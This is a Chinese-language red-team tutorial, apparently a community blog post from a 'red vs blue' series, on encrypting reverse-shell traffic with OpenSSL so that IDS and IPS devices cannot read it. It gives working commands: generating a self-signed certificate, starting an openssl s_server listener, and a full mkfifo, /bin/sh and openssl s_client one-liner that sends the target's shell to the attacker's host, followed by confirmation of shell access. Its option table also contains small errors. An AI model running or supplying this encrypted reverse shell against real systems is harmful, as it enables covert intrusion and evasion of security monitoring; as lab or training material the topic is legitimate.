《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密
  4AFg6g0R0HXv 2023年11月19日 26 0

在实战攻防对抗中,使用常规反弹shell会有一个缺点,那就是所有通过shell传输的流量都是以明文的方式发送的,可以被安全防护设备(如IDS、IPS等)获取到通信传输的数据内容,会导致被触发告警拦截,红队人员会使用一种加密的反弹shell方式,对传输的数据内容进行混淆加密,这里我们使用OpenSSL来进行加密反弹shell,本次实验环境如图1-1所示。

《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密_1024程序员节


图1-1  OpenSSL 反弹shell实验拓扑图

1)首先在使用OpenSSL反弹shell之前,需要对攻击机进行配置,手动执行openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes命令生成自签名证书,其OpenSSL使用参数如表1-1所示,在生成自签名证书过程中,会提示输入证书信息,在证书信息方面可以直接按回车键不进行设置,如图1-2所示,最后会生成cert.pem和key.pem这两个文件。

表1-1 常见使用参数

参数

作用

-new

表示生成一个新的证书签署要求

-x509

专用于生成CA自签证书

 -key

指定生成证书用到的私钥文件

-out FILNAME

指定生成的证书的保存路径

-days

指定证书的有效期限,单位为day,默认是365天

-notes

生成的私钥文件不会被加密

《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密_流量加密_02


图1-2 攻击机生成自签名证书

2)当攻击机生成自签名证书后,执行openssl s_server -quiet -key key.pem -cert cert.pem -port 8888命令,使OpenSSL监听本地攻击机的8888端口,来启动一个SSL/TLS server服务。如图1-3所示。

《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密_流量加密_03


图1-3攻击机开启监听

3)当攻击机开启监听后,在目标服务器进行反弹 shell 操作,执行mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.2:8888 > /tmp/s; rm /tmp/s命令,即可将目标服务器的shell反弹到攻击机上,如图1-4所示

《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密_1024程序员节_04


图1-4 目标服务器执行反弹shell命令

4)执行成功后,对接收到的反弹shell使用ifconfig命令测试,如图1-5所示,可以查看到输出的IP地址为目标服务器的IP。此时我们已经通过加密反弹的方式获取到了目标服务器的shell权限。

《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密_流量加密_05


图1-5 攻击机获取反弹shell

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月19日 0

暂无评论

推荐阅读
4AFg6g0R0HXv